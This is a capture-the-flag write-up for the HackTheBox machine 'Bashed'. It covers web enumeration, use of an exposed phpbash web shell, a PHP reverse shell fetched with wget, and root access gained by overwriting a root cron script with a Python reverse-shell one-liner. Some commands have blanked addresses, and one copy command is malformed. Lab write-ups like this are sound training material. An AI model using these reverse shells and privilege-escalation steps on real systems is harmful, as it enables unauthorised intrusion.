HacktheBox - Bashed Writeup


Initial Enumeration

1. Nmap Scan

Let's start with a scan of the target ip address:

nmap -sC -sV -oA nmap/initial.tcp

From the nmap scan output we see that only one port is open, port 80. 

Lets start to enumerate! 

2. Port 80 Enumeration 

So when browsing to we see that it is a website to list Arrexel's developments, with one of those being phpbash. 

phpbash is a standalone, semi-interactive web shell that can assist you if getting a traditional reverse shell is not possible. You can learn more and download it here.

After a quick manual search of the website, there is nothing that stands out to help in my quest for root. So lets see if there are any hidden files or directories with gobuster. 

gobuster dir -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php

So gobuster finds several directories that stand out to me straight away: 

/uploads, /php and /dev and also the file /config.php. 

Lets check these out individually... 

  • /uploads contained nothing.
  • /php had a file called sendMail.php, but that again contained nothing.  
  • You guessed it, the file config.php also contained nothing.  
  • Last but not least, the directory /dev contained two php files..  

The directory /dev looks to be made for the developer of the site, Arrexel to access the web server whilst the website was under development as both the php files give us a phpbash shell to the machine hosting the website as the user, www-data. 

 Exploitation - User 

As we have two phpbash shells on the machine hosting the website, we can see what possible information the machine has on it, and what we as www-data have access to.    

The home directory contains two users, arrexel and scriptmanager: 

The scriptmanager directory didnt contain anything, but the arrexel directory contained the user.txt file! 

3. Gaining a proper reverse shell 

Now that we have a way of interacting with the bashed machine, I want to have a proper reverse shell, not a phpbash one. 

So, back on our attacker machine, im going to utilising this awesome php-reverse-shell cheatsheet and copy the contents into a new php file on my machine. 

nano shell.php 

Copy the contents of the reverse shell and edit the IP and Port as shown: 

For us to download this file from our attacker machine on the bashed machine, we need to start a HTTP server on our attacker machine in the directory of shell.php:

python -m SimpleHTTPServer 80 

We can now utilise the /uploads directory and download the shell.php file to the bashed machine using wget:

cd /var/www/html/uploads


Now that we have uploaded our reverse shell to the uploads directory, we should now be able to navigate to the shell.php file from our browser. 

We need to start our netcat listener to capture the connection when the shell.php file gets executed. 

nc -lvnp 9001 

We can now browse to 

The page doesnt load anything, but if we check our netcat listener... 

We have a reverse shell on the machine as www-data! 

We can make it an interactive shell with the following command: 

python -c 'import pty;pty.spawn("/bin/bash");'

Privilege Escalation 

4. Misconfigured Sudo Permissions 

Again, if youve been following my other HTB writeups, you'll know that I always start with the basics when im trying to Priv Esc, like checking what my current user can run as sudo, and as it happens, www-data can run all commands as scriptmanager without the need for a password: 

sudo -l 

Now that we know we can run commands as scriptmanager, we now need to see what scriptmanager has permissions to. 

We can see here that scriptmanager is the owner of a folder called... scripts. 

So to access the scripts folder, we need to spawn a new shell as scriptmanager:

sudo -u scriptmanager /bin/bash

Lets see the contents of the scripts directory: 

Okay, so there is a python script that is owned by scriptmanager and a test.txt file that is owned by root... 

This is the contents of the test.py file:  

Okay so lets break down the test.py script: 

  • The script opens a file called 'test.txt'
  • It writes the contents of the text inside the brackets into the test.txt file.
  • It closes the test.txt file. 

And as we can see with the test.txt file, it did in fact write the contents of the brackets into the file, but more importantly, the file is owned by root. 

"But if we as the user scriptmanager execute the test.py script, it will run as scriptmanager!" I hear you say... 

Well, on refreshing the scripts directory a few times, I noticed that the file timestamp of test.txt updates every minute, so someone must be executing the script, possibly root as part of a cron job? 

5. Monitor processes for possible cron jobs

Lets see if my theory is correct by viewing the processes running on the machine. To do this, I use a tool called pspy64 that allows unauthenticated linux process snooping. 

Firstly, I need to download it to the machine so after changing to scriptmanager's home directory, as it has execute permissions there, i started a HTTP server in pspy64s location on my machine and used wget to download it.

cd /home/scriptmanager


Once it is on the machine, we need to give it execute permissions: 

chmod +x pspy64 

Start pspy64: 


And as suspected, there is a cronjob that executes the test.py script from UID=0, which is root!

6. Edit the test.py script file

Now that we know root executes the test.py script, and as scriptmanager has read/write permissions on the file.. We can edit the contents of the test.py file to a reverse shell that will obviously be executed by root, thus gaining a root shell! 

Agian, lets start a new netcat listener:

nc -lvnp 9002 

As trying to use vi through a reverse shell is an unnessesary test of my patience, Im going to utilise pentestmonkey and echo the following python reverse shell command to a new file in the /tmp directory:

echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" > /tmp/test.py

I can now copy that file to the script directory and have it executed by root:

cp /tmp/test.py > /scripts/test.py

cat test.py

And after waiting a few seconds, we get a connection to our listener as root! 

We can now grab the root flag from the root directory!